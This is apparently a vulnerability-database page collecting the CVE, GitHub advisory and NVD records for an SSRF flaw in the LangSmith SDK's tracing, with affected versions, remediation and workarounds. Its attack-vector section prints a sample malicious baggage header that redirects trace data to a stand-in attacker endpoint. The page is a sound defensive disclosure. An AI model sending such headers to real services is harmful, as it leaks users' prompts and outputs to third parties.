Vulnerability-Lookup

CVE-2026-25528 (GCVE-0-2026-25528)

Vulnerability from cvelistv5 – Published: 2026-02-09 20:08 – Updated: 2026-02-10 15:59

Title

LangSmith Client SDK Affected by Server-Side Request Forgery via Tracing Header Injection

Summary

LangSmith Client SDKs provide SDK's for interacting with the LangSmith platform. The LangSmith SDK's distributed tracing feature is vulnerable to Server-Side Request Forgery via malicious HTTP headers. An attacker can inject arbitrary api_url values through the baggage header, causing the SDK to exfiltrate sensitive trace data to attacker-controlled endpoints. When using distributed tracing, the SDK parses incoming HTTP headers via RunTree.from_headers() in Python or RunTree.fromHeaders() in Typescript. The baggage header can contain replica configurations including api_url and api_key fields. Prior to the fix, these attacker-controlled values were accepted without validation. When a traced operation completes, the SDK's post() and patch() methods send run data to all configured replica URLs, including any injected by an attacker. This vulnerability is fixed in version 0.6.3 of the Python SDK and 0.4.6 of the JavaScript SDK.

Severity ?

5.8 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N

CWE

CWE-918 - Server-Side Request Forgery (SSRF)

Assigner

GitHub_M

References

URL

Tags

https://github.com/langchain-ai/langsmith-sdk/sec…

x_refsource_CONFIRM

Impacted products

	Vendor	Product	Version
	langchain-ai	langsmith-sdk	Affected: >= 0.4.10, <0.6.3

Show details on NVD website

JSON

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GHSA-V34V-RQ6J-CJ6P

Vulnerability from github – Published: 2026-02-09 20:36 – Updated: 2026-02-09 22:39

Summary

LangSmith Client SDK Affected by Server-Side Request Forgery via Tracing Header Injection

Details

Summary

The LangSmith SDK's distributed tracing feature is vulnerable to Server-Side Request Forgery via malicious HTTP headers. An attacker can inject arbitrary api_url values through the baggage header, causing the SDK to exfiltrate sensitive trace data to attacker-controlled endpoints.

Description

When using distributed tracing, the SDK parses incoming HTTP headers via RunTree.from_headers() in Python or RunTree.fromHeaders() in Typescript. The baggage header can contain replica configurations including api_url and api_key fields.

Prior to the fix, these attacker-controlled values were accepted without validation. When a traced operation completes, the SDK's post() and patch() methods send run data to all configured replica URLs, including any injected by an attacker.

Attack Vector

Attacker sends an HTTP request to a vulnerable service with a malicious baggage header: baggage: langsmith-replicas=[{"api_url":"https://attacker.com/exfil","project_name":"x"}]
The service parses the header via RunTree.from_headers(), storing the attacker's URL
When the traced operation completes, the SDK sends the full run data (including LLM inputs, outputs, and metadata) to https://attacker.com/exfil

Impact

Data Exfiltration: Sensitive trace data including LLM prompts, completions, and application metadata sent to attacker-controlled servers
SSRF: Ability to make the server send requests to arbitrary URLs, potentially targeting internal services

Affected Use Cases

Applications are vulnerable if they: - Use TracingMiddleware to automatically propagate tracing context - Call RunTree.from_headers() / RunTree.fromHeaders() with untrusted HTTP headers

Remediation

Update to the patched versions: - Python: pip install langsmith>=0.6.3 - JavaScript: npm install langsmith@>=0.4.6

The fix filters incoming replica configurations to an allowlist of safe fields, removing api_url, api_key, and other credential fields.

Workarounds

If unable to upgrade immediately: - Strip or validate the baggage header before passing to from_headers() - Do not use TracingMiddleware with untrusted traffic

Severity ?

5.8 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "langsmith"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.4.10"
            },
            {
              "fixed": "0.6.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "langsmith"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.3.41"
            },
            {
              "fixed": "0.4.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25528"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-09T20:36:59Z",
    "nvd_published_at": "2026-02-09T21:15:48Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe LangSmith SDK\u0027s distributed tracing feature is vulnerable to Server-Side Request Forgery via malicious HTTP headers. An attacker can inject arbitrary `api_url` values through the `baggage` header, causing the SDK to exfiltrate sensitive trace data to attacker-controlled endpoints.\n\n---\n\n## Description\n\nWhen using distributed tracing, the SDK parses incoming HTTP headers via `RunTree.from_headers()` in Python or `RunTree.fromHeaders()` in Typescript. The `baggage` header can contain replica configurations including `api_url` and `api_key` fields.\n\nPrior to the fix, these attacker-controlled values were accepted without validation. When a traced operation completes, the SDK\u0027s `post()` and `patch()` methods send run data to all configured replica URLs, including any injected by an attacker.\n\n---\n\n## Attack Vector\n\n1. Attacker sends an HTTP request to a vulnerable service with a malicious `baggage` header:\n   ```\n   baggage: langsmith-replicas=[{\"api_url\":\"https://attacker.com/exfil\",\"project_name\":\"x\"}]\n   ```\n\n2. The service parses the header via `RunTree.from_headers()`, storing the attacker\u0027s URL\n\n3. When the traced operation completes, the SDK sends the full run data (including LLM inputs, outputs, and metadata) to `https://attacker.com/exfil`\n\n---\n\n## Impact\n\n- **Data Exfiltration:** Sensitive trace data including LLM prompts, completions, and application metadata sent to attacker-controlled servers\n- **SSRF:** Ability to make the server send requests to arbitrary URLs, potentially targeting internal services\n\n---\n\n## Affected Use Cases\n\nApplications are vulnerable if they:\n- Use `TracingMiddleware` to automatically propagate tracing context\n- Call `RunTree.from_headers()` / `RunTree.fromHeaders()` with untrusted HTTP headers\n\n---\n\n## Remediation\n\nUpdate to the patched versions:\n- **Python:** `pip install langsmith\u003e=0.6.3`\n- **JavaScript:** `npm install langsmith@\u003e=0.4.6`\n\nThe fix filters incoming replica configurations to an allowlist of safe fields, removing `api_url`, `api_key`, and other credential fields.\n\n---\n\n## Workarounds\n\nIf unable to upgrade immediately:\n- Strip or validate the `baggage` header before passing to `from_headers()`\n- Do not use `TracingMiddleware` with untrusted traffic",
  "id": "GHSA-v34v-rq6j-cj6p",
  "modified": "2026-02-09T22:39:22Z",
  "published": "2026-02-09T20:36:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/langchain-ai/langsmith-sdk/security/advisories/GHSA-v34v-rq6j-cj6p"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25528"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/langchain-ai/langsmith-sdk"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "LangSmith Client SDK Affected by Server-Side Request Forgery via Tracing Header Injection"
}

FKIE_CVE-2026-25528

Vulnerability from fkie_nvd - Published: 2026-02-09 21:15 - Updated: 2026-02-09 21:55

Severity ?

5.8 (Medium) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/langchain-ai/langsmith-sdk/security/advisories/GHSA-v34v-rq6j-cj6p

Impacted products

	Vendor	Product	Version

JSON

To clipboard

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    {
      "lang": "en",
      "value": "LangSmith Client SDKs provide SDK\u0027s for interacting with the LangSmith platform. The LangSmith SDK\u0027s distributed tracing feature is vulnerable to Server-Side Request Forgery via malicious HTTP headers. An attacker can inject arbitrary api_url values through the baggage header, causing the SDK to exfiltrate sensitive trace data to attacker-controlled endpoints. When using distributed tracing, the SDK parses incoming HTTP headers via RunTree.from_headers() in Python or RunTree.fromHeaders() in Typescript. The baggage header can contain replica configurations including api_url and api_key fields. Prior to the fix, these attacker-controlled values were accepted without validation. When a traced operation completes, the SDK\u0027s post() and patch() methods send run data to all configured replica URLs, including any injected by an attacker. This vulnerability is fixed in version 0.6.3 of the Python SDK and  0.4.6 of the JavaScript SDK."
    }
  ],
  "id": "CVE-2026-25528",
  "lastModified": "2026-02-09T21:55:30.093",
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          "confidentialityImpact": "LOW",
          "integrityImpact": "NONE",
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        "impactScore": 1.4,
        "source": "security-advisories@github.com",
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Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-25528 (GCVE-0-2026-25528)

GHSA-V34V-RQ6J-CJ6P

Summary

Description

Attack Vector

Impact

Affected Use Cases

Remediation

Workarounds

FKIE_CVE-2026-25528

Tags

Sightings

Nomenclature